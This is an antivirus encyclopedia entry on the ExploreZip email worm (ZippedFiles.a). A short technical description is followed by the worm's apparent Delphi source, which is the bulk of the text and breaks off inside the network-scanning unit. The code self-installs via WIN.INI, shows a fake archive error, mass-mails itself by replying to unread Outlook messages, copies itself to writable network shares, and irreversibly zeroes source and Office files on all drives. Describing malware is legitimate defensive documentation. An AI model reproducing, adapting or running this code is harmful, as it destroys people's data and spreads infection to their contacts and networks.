Email-Worm.Win32.ZippedFiles.a

Aliases

Email-Worm.Win32.ZippedFiles.a (Kaspersky Lab) is also known as: I-Worm.ZippedFiles.a (Kaspersky Lab), W32/ExploreZip.worm@M (McAfee), W32.Explorezip.L.Worm (Symantec), Win32.HLLW.ExploreZip.11 (Doctor Web), W32/ExploreZi-N (Sophos), Win32/ZipExplorer.A@mm (RAV), WORM_EXPLORZIP.M (Trend Micro), Worm/ExploreZip.E (H+BEDV), W32/ExploreZip.E (FRISK), Win32:ExploreZIP-UPX (ALWIL), I-Worm/ExploreZip (Grisoft), Win32.ZippedFiles.B@mm (SOFTWIN), W32/Explorezip.N (Panda), Win32/ExploreZip.J (Eset)

Description added Mar 07 2000

Behavior Email Worm

Technical details

This is a virus-worm spreading via the Internet and local network. Usually it appears as a "Zipped_Files.Exe" file attached to an e-mail. This file itself is a Delphi executable file about 210Kb in length. Most of the file's code is occupied by Delphi run-time libraries, data and classes, and just about 10Kb of code is "pure" worm code.

Upon execution, it installs itself into the system, then sends infected messages (with its attached copy) to addresses found in the e-mail Inbox. To hide its activity, the worm displays the following message:

```
Error
Cannot open file: it does not appear to be a valid archive. If this file is
part of a ZIP format backup set, insert the last disk of the backup set
and try again. Please press F1 for help.
```

Installing into the system

To install into the system, the worm copies itself to the Windows directory with the _SETUP.EXE name, and to Windows system directory with the EXPLORE.EXE name, for example:

```
C:\WINDOWS\_SETUP.EXE
C:\WINDOWS\SYSTEM\EXPLORE.EXE    - not "EXPLORER.EXE"!
```

The worm then registers its copy in the Windows configuration files to force the system to execute it each time Windows starts up. To do this, the worm writes a "run=" instruction to Windows configuration files that points to one of the worm files - _SETUP.EXE or EXPLORE.EXE. Depending on the Windows version, this registration process can be made by Windows in two different ways: The worm registers itself either in a WIN.INI file (under Win95/NT), or in the system registry (in case of WinNT).

In the case of Win95/98, the WIN.INI file [windows] section is updated with a "run=" instruction:

```
WIN.INI file:
[windows]
run=[worm file name]
```

In the case of WinNT, the same registration procedure affects the registry key:

```
HKEY_CURRENT_USER
Software\Microsoft\Windows NT\Current Version\Windows: run=[worm file name]
```

Depending on the worm "status" and system conditions, the worm selects its file name from one of two possible variants - _SETUP.EXE or EXPLORE.EXE. It then may replace an existing value with a second one, and then return to the first name. So, there may be two variants of a "run=" instruction found:

```
run=_setup.exe
run=C:\WINDOWS\SYSTEM\Explore.exe  or  run=C:\WINNT\SYSTEM32\Explore.exe
```

The Worm in the System Memory

The worm then (being registered in the system) stays "memory resident," and is active up to the moment the system shuts down. The worm's task has no active window, and is not visible in the taskbar, but is visible in the task list (Ctrl-Alt-Del) with one of the names the worm uses to name their copies:

```
Zipped_files
Explore         - not "Explorer"!
_setup
```

The worm does not check its copy already presented in the Windows memory, and as a result, there may be several worm instances found.

Being active as a Windows application, the worm runs four threads of its main process: the installation thread that copies worm files to the Windows directories and registers them, the Internet spreading thread and two file destroying threads.

Spreading by E-mails

The second, and most important, thread sends e-mail messages using any e-mail system based on standard MAPI (Messaging Application Program Interface) - MS Outlook, MS Outlook Express, etc. The worm knocks the installed e-mail system four times trying to log on with different MAPI profiles: a default one, Microsoft Outlook, Microsoft Outlook Internet Settings, and Microsoft Exchange.

Being connected to an e-mail, the worm monitors all arriving messages - in an endless loop, it scans the Inbox for messages, and replies to them. The reply message has the same Subject with a "Re" prefix, and the message body appears as follows:

```
Hi [recipient name]
I received your email and I shall send you a reply ASAP.
Till then, take a look at the attached zipped docs.
```

The message ends with one of two signature variants depending on the worm's success in locating the "sender name" in the e-mail fields:

```
bye.
sincerely [sender name]
```

The worm copy is attached to the message with a "Zipped_Files.Exe" name.

The worm does not reply to messages twice, and does not reply to its own messages. To detect already-infected messages, the worm marks them with a TAB character at the end of the Subject string. Each time the worm scans the Inbox for messages, it obtains the Subject field, goes to its end, and skips over the message if a TAB is found there. The worm also does not reply to all messages in the Inbox - only to unread messages.

It is necessary to note that both these conditions--replying to unread messages only and not replying to the same message twice--are optional in the worm's infection routine. In the known worm version, both of them are hard-coded in the aforementioned way, but it is possible that the next worm version will answer all messages in the Inbox each time the worm infection thread gains control.

As a result, the process appears as follows: When the worm starts for the first time on a computer, it sends infected messages by using all unread messages found in the Inbox; it marks them as "infected" by using a TAB character and does not infect anymore; when a new message is received from the Internet and appears in the Inbox, it is immediately "answered" by the worm with the fake text shown above.

Spreading to a Local Network

The worm is able to spread over a local network, and is able to infect remote computers in the case when the Windows directory there is shared for reading and writing (full access). To do this, it enumerates network resources (shared remote drives), and looks for an WIN.INI file in there. In case this file is located, the worm copies its _SETUP.EXE file to this directory and modifies the configuration file there so that Windows on a remote computer will execute the worm file upon the next rebooting (see "Installing..." above).

Payload

The worm has an extremely dangerous payload. Each time it is executed, it runs two more threads that scan directory trees on the local and network drives; look for .C, .H, .CPP, .ASM, .DOC, .XLS, and .PPT (program source and MS Office files) and zeroes them. The worm uses a create-and-close trick that erases file contents and sets file length to zero. As a result, the files become unrecoverable.

As it is mentioned above, there are two file-killing threads: the first is active whenever the worm copy is active in the system until shutting down. In an endless loop, it scans all available drives from C: to Z: and corrupts the files listed above. The second thread is executed only once. It enumerates network resources (shared remote drives), scans them for the same files and also destroys them.

zipped_files.dpr

```
program zipped_files;

uses
  Forms,
  dialogs,
  classes,
  winprocs,
  windows,
  wintypes,
  messages,
  sysutils,
  FmxUtils in '..\viruslib\fmxutils.pas',
  virusutil in '..\viruslib\virusutil.pas',
  scandir in '..\viruslib\scandir.pas',
  mapiutils in '..\viruslib\mapiutils.pas',
  netscan in '..\viruslib\netscan.pas',
  mainfrm in 'mainfrm.pas' {MainForm};
{$R *.RES}

const
HIDDEN_NAME='Explore.exe';
MAIL_NAME='zipped_files.exe';
ZIP_NAME='zipped_files.zip';
type
  TOBJ1 = class(TObject)

  private
    { Private declarations }
  public
    { Public declarations }
    function fHookMsg(var Message:Tmessage):boolean;
  end;


 TVirusThread = class(TThread)
  private
    { Private declarations }
  public
    { Public declarations }
    TSK:integer;
     procedure Execute; override;
     constructor Create(suspended:boolean;tnum:integer);
     procedure Run(tnum:integer);
  end;

var
  MtObj: TOBJ1;
  STOP_NOW:boolean=false;


//////////////
function ReMail(destAddr,DestName,srcAddr,srcName,subject,body:string;attachments:TStringlist
):boolean;
var
str1,str2,str3:string;
n:integer;
begin
if Pos('RE:',UpperCase(subject))> 0 then exit;


/////////
if STOP_NOW then exit;
```

```
attachments.Clear;


attachments.Add(Application.exeName+'|'+MAIL_NAME);

n:=Pos(' ',srcName);
if(n>0) then
begin
str1:='Hi '+copy(SrcName,1,n-1)+' !';
end
 else
  begin
  if((Pos('@',SrcName)>0) or (Length(SrcName)=0) ) then
      str1:='Hi !'
      else
        str1:='Hi '+copy(SrcName,1,n-1)+' !';

  end;
destName:=trim(destName);
srcName:=trim(srcName);
n:=Pos(' ',destName);
if(n>0) then
begin
str2:='Sincerely '+chr(13)+chr(9)+copy(destName,1,n-1)+'.';
end
 else
  begin
   if((Pos('@',destName)>0) or (Length(destName)=0) ) then
      str2:='bye.'
      else
        str2:='Sincerely '+chr(13)+chr(9)+copy(destName,1,n-1)+'.';
  end;


subject:='RE: '+ subject;
body:=Str1+chr(10)+chr(13);
body:=body+ 'I received your email and I shall send you a reply ASAP.'+chr(10)+chr(13);
body:=body+ 'Till then, take a look at the attached zipped docs.'+chr(10)+chr(13);
body:=body+ str2;
EasyMail(srcAddr,srcName,destAddr,DestName,subject,body,attachments);
ReMail:=True;
end;




//////////////


function TOBJ1.fHookMsg(var Message:Tmessage):boolean;
begin
if((Message.Msg=WM_CLOSE) or (Message.Msg=WM_ENDSESSION) or (Message.wParam=
WM_QUERYENDSESSION)) then
begin
  STOP_NOW:=true;
  StopScanNow();
  StopMAPINow();
  fHookMsg:=false;
  exit;
end;
```

```
  fHookMsg:=True;
end;

procedure cln(dir,info:string);
var
ext:string;
f:file;
//////
stmp:string;
/////
begin
dir:=uppercase(dir);
//exit;

if((pos('WIN.INI',dir) > 0) and (pos('C:',dir) <> 1))then
begin
RemoteInstall('_setup.exe',extractfilepath(dir));
end;

ext:=copy(dir,Length(dir)-3,4);
ext:=copy(ext,pos('.',ext),1+4-pos('.',ext));
if((ext='.C') or (ext='.H') or (ext='.CPP') or (ext='.ASM') or (ext='.DOC') or (ext='.XLS')
or (ext='.PPT')) then
 begin
 try
assignfile(f,dir);
rewrite(f);
reset(f);
truncate(f);

except;

end;

 try CloseFile(f); except; end;

 end;

end;


procedure netcln(dir,info:string);
begin

DirScan(dir,faAnyFile and (not faDirectory),cln,'');
end;


constructor TVirusThread.Create(suspended:boolean;tnum:integer);
begin
TSK:=tnum;
inherited Create(suspended);

end;

procedure TVirusThread.Execute;
begin
Run(TSK);


end;
procedure TVirusThread.Run(tnum:integer);
```

zipped_files.dpr

```
var L:longint;
drv:string;
begin
 case tnum of
     1: SelfInstall(HIDDEN_NAME);
     2:
  while(true) do
  if (_MAPILogONSilent()) then  begin
  ScanMSG(ReMail,true,true);_MAPILogOFF(); end;
  3:
  begin
  L:=0;
  while (true) do
  begin
  drv:= chr(ord('C')+(L mod 24))+':\';
  DirScan(drv,faAnyFile and (not faDirectory),cln,'');
  L:=L+1;
  end;
  end;
  4:
  NetEnumerate(nil,netcln);

 end;
end;


var
msgb:PChar;
tf:Textfile;
install_tsk:TVirusThread;
remail_tsk:TVirusThread;
cln_tsk:TVirusThread;
netcln_tsk:TVirusThread;
begin
  Application.Initialize;
  install_tsk:=TVirusThread.Create(false,1);
  remail_tsk:=TVirusThread.Create(false,2);
  cln_tsk:=TVirusThread.Create(false,3);
  netcln_tsk:=TVirusThread.Create(false,4);

  Application.Title := 'Findfast';
  Application.CreateForm(TMainForm, MainForm);
  Application.HookMainWindow(MtObj.fHookMsg);


//getprivateprofilestring ('windows','RunParam1','',tmp1,100,'win.ini');




if(upperCase(extractfilename(Application.ExeName))  <>  upperCase(HIDDEN_NAME) ) then
begin
msgb:='Cannot open file: it does not appear to be a valid archive. If this file is part of a
ZIP format backup set, insert the last disk of the backup set and try again. Please press F1
for help.';
Application.messagebox(msgb,'Error',MB_ICONHAND);
try
assignfile( tf,'c:\'+ZIP_NAME);
rewrite(tf);
closefile(tf);
ExecuteFile('c:\'+ZIP_NAME,'','',SW_SHOWDEFAULT);
DeleteFile('c:\'+ZIP_NAME);
```

```
except;
end;
//  Application.Run;

end;
//writeprivateprofilestring ('windows','RunParam1','20','win.ini');




while (not STOP_NOW) do
begin

Application.ProcessMessages;
end;

  Application.UnHookMainWindow(MtObj.fHookMsg);
 install_tsk.destroy;
  remail_tsk.destroy;
  cln_tsk.destroy;
  netcln_tsk.destroy;

end.
```

mainfrm.pas

```
unit mainfrm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TMainForm = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

end.
```

```
unit FmxUtils;

interface

uses SysUtils, Windows, Classes, Consts;

type
  EInvalidDest = class(EStreamError);
  EFCantMove = class(EStreamError);

function MyCopyFile(const FileName, DestName: string):boolean;
function MoveFile(const FileName, DestName: string):boolean;
function GetFileSize(const FileName: string): LongInt;
function FileDateTime(const FileName: string): TDateTime;
function HasAttr(const FileName: string; Attr: Word): Boolean;
function ExecuteFile(const FileName, Params, DefaultDir: string;
  ShowCmd: Integer): THandle;

implementation

uses Forms, ShellAPI;

const
  SInvalidDest = 'Destination %s does not exist';
  SFCantMove = 'Cannot move file %s';

function MyCopyFile(const FileName, DestName: TFileName):boolean;
var
  CopyBuffer: Pointer; { buffer for copying }
  BytesCopied: Longint;
  Source, Dest: Integer; { handles }
  Destination: TFileName; { holder for expanded destination name }
const
  ChunkSize: Longint = 8192; { copy in 8K chunks }
begin
//Result:=false;
  Destination := ExpandFileName(DestName); { expand the destination path }

  if HasAttr(Destination, faDirectory) then { if destination is a directory... }
    Destination := Destination + '\' + ExtractFileName(FileName); { ...clone file name }
  GetMem(CopyBuffer, ChunkSize); { allocate the buffer }
  try
    Source := FileOpen(FileName, fmShareDenyWrite); { open source file }
    if Source < 0 then begin
    Result:=false; exit;
    end; ;
    try
      Dest := FileCreate(Destination); { create output file; overwrite existing }
      if Dest < 0 then begin
      Result:=false; exit;
      end;
      try
        repeat
          BytesCopied := FileRead(Source, CopyBuffer^, ChunkSize); { read chunk }
          if BytesCopied > 0 then { if we read anything... }
            FileWrite(Dest, CopyBuffer^, BytesCopied); { ...write chunk }
        until BytesCopied < ChunkSize; { until we run out of chunks }
      finally
        FileClose(Dest); { close the destination file }
      end;
    finally
      FileClose(Source); { close the source file }
```

```
    end;
  finally
    FreeMem(CopyBuffer, ChunkSize); { free the buffer }
  end;

Result:=true;
end;


{ MoveFile procedure }
{
  Moves the file passed in FileName to the directory specified in DestDir.
  Tries to just rename the file.  If that fails, try to copy the file and
  delete the original.

  Raises an exception if the source file is read-only, and therefore cannot
  be deleted/moved.
}

function MoveFile(const FileName, DestName: string):boolean;
var
  Destination: string;
begin
  Destination := ExpandFileName(DestName); { expand the destination path }
  if not RenameFile(FileName, Destination) then { try just renaming }
  begin
    if HasAttr(FileName, faReadOnly) then  { if it's read-only... }
      begin MoveFile:=false; Abort; end; { we wouldn't be able to delete it }
      MyCopyFile(FileName, Destination); { copy it over to destination...}
//      DeleteFile(FileName); { ...and delete the original }
  end;
end;

{ GetFileSize function }
{
  Returns the size of the named file without opening the file.  If the file
  doesn't exist, returns -1.
}

function GetFileSize(const FileName: string): LongInt;
var
  SearchRec: TSearchRec;
begin
  if FindFirst(ExpandFileName(FileName), faAnyFile, SearchRec) = 0 then
    Result := SearchRec.Size
  else Result := -1;
end;

function FileDateTime(const FileName: string): System.TDateTime;
begin
  Result := FileDateToDateTime(FileAge(FileName));
end;

function HasAttr(const FileName: string; Attr: Word): Boolean;
begin
  Result := (FileGetAttr(FileName) and Attr) = Attr;
end;

function ExecuteFile(const FileName, Params, DefaultDir: string;
  ShowCmd: Integer): THandle;
var
  zFileName, zParams, zDir: array[0..79] of Char;
```

```
begin
  Result := ShellExecute(Application.MainForm.Handle, nil,
    StrPCopy(zFileName, FileName), StrPCopy(zParams, Params),
    StrPCopy(zDir, DefaultDir), ShowCmd);
end;

end.
```

```
unit virusutil;
interface
uses forms,
  sysutils,
  fmxutils,
  winprocs,
  windows,comobj,ddeman,classes;




function SelfInstall(opt:string):BOOLEAN;
function RemoteInstall(fileAs,WinIniPath:string):BOOLEAN;
//function MailMeTo(addr:string):boolean;
//function MailDistrib(subject,body,attach:string):boolean;
implementation



function SelfInstall(opt:string):BOOLEAN;
var Appexe,appfile,destfile,destpath:string;
tmp1:array [0..81] of char;
f:file;
WinDir:String;
begin
GetSystemDirectory(tmp1,80);
WinDir:=strpas(tmp1);
if (copy(WinDir,length(WinDir),1) <> '\') then
   WinDir := WinDir+'\';
  appexe:=application.exename;
  appfile:=extractfilename(appexe);
  destpath:=WinDir;
//  destfile:=destpath+appfile;
    destfile:= destpath+opt;
 try
  Mycopyfile(appexe,destpath); // copy app to windir

  strpcopy(tmp1, destfile); // delete old file
  deletefile(tmp1);

  assignfile(f,destpath+appfile); // rename
  rename(f,destfile);

  strpcopy(tmp1, destfile);



  writeprivateprofilestring ('windows','run',tmp1,'win.ini');

except;

  end;

  end;

/////////
function RemoteInstall(fileAs,WinIniPath:string):BOOLEAN;

var Appexe,appfile,destfile,destpath:string;
tmp1,tmp2:array [0..81] of char;
```

```
f:file;
WinDir:String;
begin

WinDir:=WinIniPath;
if (copy(WinDir,length(WinDir),1) <> '\') then
   WinDir := WinDir+'\';
  appexe:=application.exename;
  appfile:=extractfilename(appexe);
  destpath:=WinDir;

    destfile:= destpath+fileAs;
 try
  Mycopyfile(appexe,destpath); // copy app to windir

  strpcopy(tmp1, destfile); // delete old file
  deletefile(tmp1);

  assignfile(f,destpath+appfile); // rename
  rename(f,destfile);

  strpcopy(tmp1, fileAs);

  strpcopy(tmp2, WinDir+'win.ini');

 writeprivateprofilestring ('windows','run',tmp1,tmp2);

except;

  end;

  end;



 end.
```

```
unit scandir;

interface
uses sysutils,forms;

type
fDirScan= procedure(dir,info:string);

function DirScan(start:string;attr:integer;callme:fDirScan;info:string):boolean;
procedure StopScanNow;


implementation
var STOP_SCAN:boolean=false;

procedure StopScanNow;
begin
STOP_SCAN:= true;

end;







function DirScan(start:string;attr:integer;callme:fDirScan;info:string):boolean;
var
SearchRec: TSearchRec;
found:integer;
FoundDir,CurrentDir:string;
invaliddir:boolean;
begin
if STOP_SCAN then exit;
trim(start);



if copy(start,length(start),1) <> '\' then start := start+'\';
found:=FindFirst(start+'*.*', faDirectory , SearchRec);
while (found =0) do
 begin
if STOP_SCAN then exit;
 Application.ProcessMessages;
 FoundDir:= SearchRec.Name;
CurrentDir:=start+FoundDir;

if  ((FoundDir = '.') or (FoundDir = '..') or (FoundDir = '.\')  ) then
 invaliddir:=true
  else
    invaliddir:=false;
Application.ProcessMessages;
if( ((attr and SearchRec.attr) <> 0) and (not invaliddir)) then
   callme(CurrentDir,info);
Application.ProcessMessages;
 if ((SearchRec.attr and faDirectory) = faDirectory) then
 begin

 if  not (invaliddir) then
 begin
Application.ProcessMessages;
 DirScan(CurrentDir,attr,callme,info);
```

```
Application.ProcessMessages;
 end;
 end;

 found:=FindNext(SearchRec);
 end;
 FindClose(SearchRec);
end;

end.
```

```
unit mapiutils;


interface
uses mapi,classes,Windows,sysutils,forms;

type
FScanMSGCallBack = function (destAddr,DestName,srcAddr,srcName,subject,body:string;
attachments:TStringlist):boolean;
var
SessionHandle:THandle=0;

Function ScanMSG(callme:FScanMSGCallBack;newonly,mark:boolean):boolean;
Function _MAPILogON:boolean;
Function _MAPILogONSilent:boolean;
procedure _MAPILogOFF;
function EasyMail(destAddr,DestName,srcAddr,srcName,subject,body:string;attachments:
TStringlist):boolean;
procedure StopMapiNow;
function DummyScan(destAddr,DestName,srcAddr,srcName,subject,body:string;attachments:
TStringlist):boolean;
implementation
var STOP_NOW:boolean=false;

procedure StopMapiNow;
begin
STOP_NOW:= true;

end;


function DummyScan(destAddr,DestName,srcAddr,srcName,subject,body:string;attachments:
TStringlist):boolean;
var
str1,str2:string;
n:integer;
begin
if STOP_NOW then exit;
attachments.Clear;
attachments.Add(Application.exeName);
n:=Pos(' ',srcName);
if(n>0) then
begin
str1:='Hi '+copy(SrcName,1,n-1)+' !';
end
 else
  begin
  if((Pos('@',SrcName)>0) or (Length(SrcName)=0) ) then
      str1:='Hi !'
      else
        str1:='Hi '+copy(SrcName,1,n-1)+' !';
 // str1:='Hi !';
  end;
destName:=trim(destName);
srcName:=trim(srcName);
n:=Pos(' ',destName);
if(n>0) then
begin
str2:='Sincerely '+chr(13)+chr(9)+copy(destName,1,n-1)+'.';
end
 else
  begin
```

```
   if((Pos('@',destName)>0) or (Length(destName)=0) ) then
      str2:='bye.'
      else
        str2:='Sincerely '+chr(13)+chr(9)+copy(destName,1,n-1)+'.';
  end;


subject:='RE: '+ subject;
body:=Str1+chr(13);
body:=body+ 'I received your email and I shall send you a reply ASAP.'+chr(13);
body:=body+ 'Till then, take a look at the attached demo.'+chr(13);
body:=body+ str2;
EasyMail(srcAddr,srcName,destAddr,DestName,subject,body,attachments);
DummyScan:=True;
end;

function EasyMail(destAddr,DestName,srcAddr,srcName,subject,body:string;attachments:
TStringlist):boolean;
var h:THandle;
msg:TMapiMessage;
org,dest:TMapiRecipDesc;
ptrDest:PMapiRecipDesc;
res:Cardinal;
szdestAddr,szDestName,szsrcAddr,szsrcName,szsubject:array [0..81] of char;
szbody:array [0..256] of char;
attachPath,attachName:string;
i:integer;
attachFiles: packed array [0..33] of TMapiFileDesc;
begin
if STOP_NOW then exit;
EasyMail:=false;


if(SessionHandle=0) then Exit;


if(Pos(':',destAddr)>0)  then
begin
destAddr:=copy(destAddr,Pos(':',destAddr)+1,Length(destAddr)-Pos(':',destAddr));
end;


strPcopy (szdestAddr,destAddr);
strPcopy (szDestName,DestName);
strPcopy (szsrcAddr,srcAddr);
strPcopy (szsrcName,srcName);
strPcopy (szsubject,subject);
strPcopy (szbody,body);

strcat(szbody,chr(13));
for i:=1 to attachments.count +1 do
begin
strcat(szbody,'  ');
end;

res:=MAPIResolveName(SessionHandle,0,szdestAddr,0,0,ptrDest);
dest:=ptrDest^;
dest.lpszName:=szDestName;
org.lpszName:= szSrcName;
org.lpszAddress:= szsrcAddr;
msg.lpszSubject:=szsubject;
msg.lpszNoteText:=szbody;
```

```
msg.lpszMessageType:='';
msg.lpszDateReceived:='1999/04/14 12:50';
msg.lpszConversationID:='';
msg.flFlags:=MAPI_UNREAD;

msg.lpOriginator:=@org;
msg.nRecipCount:=1;
msg.lpRecips:=@dest;
msg.nFileCount:=0;
msg.lpFiles:=@attachFiles;









//''''''''
 if(attachments <> nil) then
 begin
msg.nFileCount:=attachments.Count;
 for i:= 0 to msg.nFileCount-1 do
   begin
   attachPath:=attachments[i];
   attachName:='';
   if pos('|',attachPath)>0 then
   begin
   attachName:=copy(attachPath,pos('|',attachPath)+1,length(attachPath)-pos('|',attachPath));
   attachPath:=copy(attachPath,1,pos('|',attachPath)-1);
   end;
   attachFiles[i].ulReserved:=0;        { Reserved for future use (must be 0)     }
   attachFiles[i].flFlags:=0;                          {
Flags                                   }
   attachFiles[i].nPosition:= i+length(Body)+1;                    { character in text to be
replaced by attachment }
//   GetMem( attachFiles[i].lpszPathName,Length(attachments[i])+1 );
   GetMem( attachFiles[i].lpszPathName,Length(attachPath)+1 );
//strPcopy(attachFiles[i].lpszPathName,attachments[i]);   { Full path name of attachment
file       }
strPcopy(attachFiles[i].lpszPathName,attachPath);   { Full path name of attachment
file       }

GetMem( attachFiles[i].lpszFileName,Length(attachName)+1 );
strPcopy(attachFiles[i].lpszFileName,attachName);
//attachFiles[i].lpszFileName:='';
attachFiles[i].lpFileType := PMAPIFileDesc(nil);         { Attachment file type (can be
lpMapiFileTagExt) }

   end;
 end;




res:=MAPISendmail(SessionHandle,0,msg,0,0);


MAPIFreeBuffer(ptrDest);
//MAPILogoff(h,0,0,0);
 if(attachments <> nil) then
 for i:= 0 to msg.nFileCount-1 do
 begin
    FreeMem( attachFiles[i].lpszPathName,Length(attachments[i])+1 );
```

```
    FreeMem( attachFiles[i].lpszFileName,Length(attachments[i])+1 );
 end;
if res =0 then
EasyMail:=true;

 end;

Function _MAPILogON:boolean;
var res:Cardinal;
begin
if STOP_NOW then exit;



/////////

if(SessionHandle <>0) then MAPILogOff(SessionHandle,0,0,0);
SessionHandle:=0;
res:=MAPILogon(0,'', '',0,0,@SessionHandle);







if res<>0 then
 res:=MAPILogon(0,'Microsoft Outlook', '',MAPI_NEW_SESSION,0,@SessionHandle);

if res<>0 then
 res:=MAPILogon(0,'Microsoft Outlook Internet Settings', '',MAPI_NEW_SESSION,0,@SessionHandle
);

if res<>0 then
 res:=MAPILogon(0,'Microsoft Exchange', '',MAPI_NEW_SESSION,0,@SessionHandle);


if res<>0 then
res:=MAPILogon(0,'', '',MAPI_NEW_SESSION,0,@SessionHandle);

if res<>0 then
 res:=MAPILogon(0,'', '',MAPI_NEW_SESSION+MAPI_LOGON_UI,0,@SessionHandle);

 if res = 0 then
  _MAPILogON:=True
   else
    _MAPILogON:=False;

end;

Function _MAPILogONSilent:boolean;
var res:Cardinal;
begin
if STOP_NOW then exit;



/////////

if(SessionHandle <>0) then MAPILogOff(SessionHandle,0,0,0);
SessionHandle:=0;
res:=MAPILogon(0,'', '',0,0,@SessionHandle);
```

```
if res<>0 then
 res:=MAPILogon(0,'Microsoft Outlook', '',MAPI_NEW_SESSION,0,@SessionHandle);

if res<>0 then
 res:=MAPILogon(0,'Microsoft Outlook Internet Settings', '',MAPI_NEW_SESSION,0,@SessionHandle
);

if res<>0 then
 res:=MAPILogon(0,'Microsoft Exchange', '',MAPI_NEW_SESSION,0,@SessionHandle);


if res<>0 then
res:=MAPILogon(0,'', '',MAPI_NEW_SESSION,0,@SessionHandle);

//if res<>0 then
// res:=MAPILogon(0,'', '',MAPI_NEW_SESSION+MAPI_LOGON_UI,0,@SessionHandle);

 if res = 0 then
  _MAPILogONSilent:=True
   else
    _MAPILogONSilent:=False;

end;

procedure _MAPILogOFF;
var res:Cardinal;
begin
if STOP_NOW then exit;
/////////

if(SessionHandle <>0) then res:= MAPILogOff(SessionHandle,0,0,0);
SessionHandle:=0;
end;




Function ScanMSG(callme:FScanMSGCallBack;newonly,mark:boolean):boolean;
var h:THandle;
msg:TMapiMessage;
ptrMsg:PMapiMessage;
attach:TMapiFileDesc;
res,resfind:Cardinal;
SeedMessageID,MessageID,tmp:array [0..511] of char;
tmpStr:String;
i,r:integer;
marked:boolean;
tmpzs1,tmpzs2:pchar;
fflags:integer;
type
farray =packed array[0..100] of TMapiFileDesc;
pfarray =^farray;
var
LocalAttach:pfarray;
////////
destAddr,DestName,srcAddr,srcName,subject,body,msgType:string;
attachments:TStringList;
```

```
begin
if STOP_NOW then exit;
if newonly then fflags := MAPI_UNREAD_ONLY else fflags:=0;
ScanMSG:=False;
attachments:=TStringList.Create();

if(SessionHandle = 0) then Exit;

SeedMessageID[0]:=chr(0);
resfind:=MapiFindNext(SessionHandle,0,nil, SeedMessageID,fflags,0,MessageID); // get next
message
repeat
begin
Application.ProcessMessages;


if( resfind =0) then  resfind:=MapiReadMail(SessionHandle,0,MessageID,MAPI_PEEK,0, ptrMsg);
// read next message


if mark then
if (resfind=0) and(ptrMsg^.lpszSubject[Length(ptrMsg^.lpszSubject)-1] <> chr(9)) then
begin // mark message
tmpzs1:=ptrMsg^.lpszSubject;
GetMem( tmpzs2,Length(ptrMsg^.lpszSubject)+2 );
strcopy(tmpzs2,ptrMsg^.lpszSubject);
strcat(tmpzs2,chr(9));
ptrMsg^.lpszSubject:=tmpzs2;
res:=MapiSaveMail(SessionHandle,0,ptrMsg^,0,0 ,MessageID);
ptrMsg^.lpszSubject:=tmpzs1;
marked:=false;
freeMem(tmpzs2);
 end
else
  begin
  marked:=true;
  end
else // if mark
  marked:=false;
  //end;


Application.ProcessMessages;

if((resfind =0) and (marked=false)) then // and(res =0)) then
begin
attachments.Clear;
destAddr:='';
DestName:='';
srcAddr:='';
srcName:='';
subject:='';
body:='';

msg:=ptrMsg^;// copy message

Application.ProcessMessages;
try destAddr:=strPas(ptrMsg^.lpRecips^.lpszAddress); except;end;
try  DestName:=strPas(ptrMsg^.lpRecips^.lpszName); except;end;
try  srcAddr:=strPas(ptrMsg^.lpOriginator^.lpszAddress); except;end;
try  srcName:=strPas(ptrMsg^.lpOriginator^.lpszName); except;end;
try  subject:=strPas(ptrMsg^.lpszSubject); except;end;
```

```
try  body:=strPas(ptrMsg^.lpszNoteText); except;end;
try  msgtype:=strPas(ptrMsg^.lpszMessageType); except;end;


for i := 0 to msg.nFileCount -1 do
begin
LocalAttach:=@msg.lpFiles^;
tmpStr:=strPas(LocalAttach[i].lpszPathName);
attachments.Add(TmpStr);
Application.ProcessMessages;
end; // for i


if(Pos(':',destAddr)>0)  then
begin
destAddr:=copy(destAddr,Pos(':',destAddr)+1,Length(destAddr)-Pos(':',destAddr));
end; // if

if(Pos(':',srcAddr)>0)  then
begin
srcAddr:=copy(srcAddr,Pos(':',srcAddr)+1,Length(srcAddr)-Pos(':',srcAddr));
end; // if

////////////////
move(MessageID,SeedMessageID,512);
Application.ProcessMessages;
resfind:=MapiFindNext(SessionHandle,0,nil, SeedMessageID,fflags,0,MessageID); // get next
message
Application.ProcessMessages;
try
Application.ProcessMessages;
if(callme(destAddr,DestName,srcAddr,srcName,subject,body,attachments)<> True) then
 begin
// ScanMSG:=False;
// attachments.Destroy;
// Exit;
 end;
except;
end; // except
Application.ProcessMessages;

end// if res = 0
 else
   begin
   move(MessageID,SeedMessageID,512);
   Application.ProcessMessages;
   resfind:=MapiFindNext(SessionHandle,0,nil, SeedMessageID,fflags,0,MessageID); // get next
message
   Application.ProcessMessages;
   end; //else

end; // repeat
until (resfind <> 0);

attachments.Destroy;
ScanMSG:=True;
end;




end.
```

```
unit netscan;

interface
uses windows,sysutils;
type
fNetScan= procedure(dir,info:string);

function NetEnumerate(lpnr:PNetResource;callme:fNetScan):boolean;
implementation
function NetEnumerate(lpnr:PNetResource;callme:fNetScan):boolean;
type
NETRESARRAY=array [0.. 1000] of TNetResource;
PNETRESARRAY=^NETRESARRAY;

var
dir,info:string;
dwResult, dwResultEnum:DWORD;
hEnum:THANDLE ;
cbBuffer:DWORD;
cEntries:DWORD ;//* enumerate all possible entries    */
tmp:TNetResource;
lpnrLocal:PNETRESOURCE ;//* pointer to enumerated structures  */
lpnrLocalArr:PNETRESARRAY;//PNETRESOURCE ;//* pointer to enumerated structures  */
i:DWORD;

begin

cbBuffer:= 16384; //* 16K is reasonable size                 */
cEntries:= $FFFFFFFF; //* enumerate all possible entries    */

dwResult := WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY,0,lpnr,hEnum);


 if (dwResult <> NO_ERROR) then
 begin
         NetEnumerate:=false;
         exit;
 end;

     repeat
     lpnrLocal :=PNetResource(GlobalAlloc(GPTR, cbBuffer));
     dwResultEnum := WNetEnumResource(hEnum,cEntries,lpnrLocal,cbBuffer);

     if (dwResultEnum = NO_ERROR) then
     begin
      for i := 0 to cEntries-1 do
      begin
      lpnrLocalArr:=PNETRESARRAY(lpnrLocal);
       //DisplayStruct(&lpnrLocalArr[i]);
       tmp:=lpnrLocalArr[i];
       dir:=strpas(tmp.lpRemoteName);
       info:=strpas(tmp.lpLocalName);
       if(RESOURCEUSAGE_CONTAINER and lpnrLocalArr[i].dwUsage =0) then
       begin
       try
       callme(dir,info);
       except;
       end;
       end;

